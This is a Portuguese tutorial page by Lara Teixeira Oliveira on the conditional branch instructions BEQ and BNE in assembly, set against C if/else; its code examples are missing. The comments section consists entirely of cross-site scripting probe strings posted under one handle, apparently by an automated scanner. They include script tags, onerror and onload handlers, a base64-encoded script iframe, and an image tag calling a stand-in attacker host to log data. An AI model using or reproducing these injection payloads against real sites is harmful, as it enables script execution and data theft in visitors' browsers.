Instruções de Desvio Condicional (If e Else)
Lara Teixeira Oliveira
Você vai aprender
Utilizar instruções de desvio condicional
Pré-requisitos
Conhecimento de Lógica de Programação
Conhecimento de programação básica em Assembly
Introdução e exemplo
O objetivo deste tutorial é aprender a utilizar Instruções de Desvio Condicional (If e Else).
Um processador é capaz de tomar decisões baseado nos dados de entrada e nos valores computados durante a execução das instruções.
A instrução abaixo é usada para tomar uma decisão de acordo com o conteúdo de dois registradores.
Esta instrução manda o processador ir para o endereço especificado se o conteúdo de reg1 for igual ao de reg2.
pRIMEIRA INSTRUÇÃO de desvio condicional
No fragmento de código em C abaixo, f, g, h, i e j são variáveis.
Assumindo que as cinco variáveis (f, g, h, i , j) correspondem aos cinco registradores $0, $1, $2, $3, $4, o código
em assembly equivalente ao fragmento em C acima seria assim:
A instrução BEQ, quando executada, forçará um desvio para o comando com o Label L1, se o valor no registrador $3 for IGUAL ao valor do registrador $4.
BEQ refere-se DESVIE SE IGUAL - BRANCH IF EQUAL
SEGUNDA INSTRUÇÃO de desvio condicional
No fragmento de código em C abaixo, f, g, h, i e j são variáveis.
Assumindo que as cinco variáveis (f, g, h, i , j) correspondem aos cinco registradores $0, $1, $2, $3, $4, o código
em assembly equivalente ao fragmento em C acima seria assim:
A instrução BNE, quando executada, forçará um desvio para o comando ELSE, se o valor no
registrador $3 for DIFERENTE ao valor do registrador $4.
BNE refere-se DESVIE SE NÃO IGUAL - BRANCH IF NOT EQUAL
Comentários
RDFYjolf em 25/01/2024
555<jSsDkn<RDFYjolf em 25/01/2024
555<img sRc='http://attacker-9008/log.php?RDFYjolf em 25/01/2024
555<DHHNnC x=9345>RDFYjolf em 25/01/2024
555<ifRAme sRc=9182.com></IfRamE>RDFYjolf em 25/01/2024
555<WSW8YN>TJJ28[!+!]</WSW8YN>RDFYjolf em 25/01/2024
555HSRYE <ScRiPt >nwT3(9915)</ScRiPt>RDFYjolf em 25/01/2024
555<% contenteditable onresize=nwT3(9267)>RDFYjolf em 25/01/2024
555}body{acu:Expre/**/SSion(nwT3(9258))}RDFYjolf em 25/01/2024
<a HrEF=jaVaScRiPT:>RDFYjolf em 25/01/2024
<a HrEF=http://xss.bxss.me></a>RDFYjolf em 25/01/2024
555<input autofocus onfocus=nwT3(9874)>RDFYjolf em 25/01/2024
RDFYjolf em 25/01/2024
555<ScRiPt>nwT3(9333)</sCripT>RDFYjolf em 25/01/2024
555\u003CScRiPt\nwT3(9035)\u003C/sCripT\u003ERDFYjolf em 25/01/2024
%35%35%35%3C%53%63%52%69%50%74%20%3E%6E%77%54%33%289998%29%3C%2F%73%43%72%69%70%54%3ERDFYjolf em 25/01/2024
555<img/src=">" onerror=alert(9665)>RDFYjolf em 25/01/2024
555<img src=xyz OnErRor=nwT3(9759)>RDFYjolf em 25/01/2024
555<img src=//xss.bxss.me/t/dot.gif onload=nwT3(9405)>RDFYjolf em 25/01/2024
555<body onload=nwT3(9393)>RDFYjolf em 25/01/2024
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9553'>RDFYjolf em 25/01/2024
555<isindex type=image src=1 onerror=nwT3(9489)>RDFYjolf em 25/01/2024
555<svgRDFYjolf em 25/01/2024
555<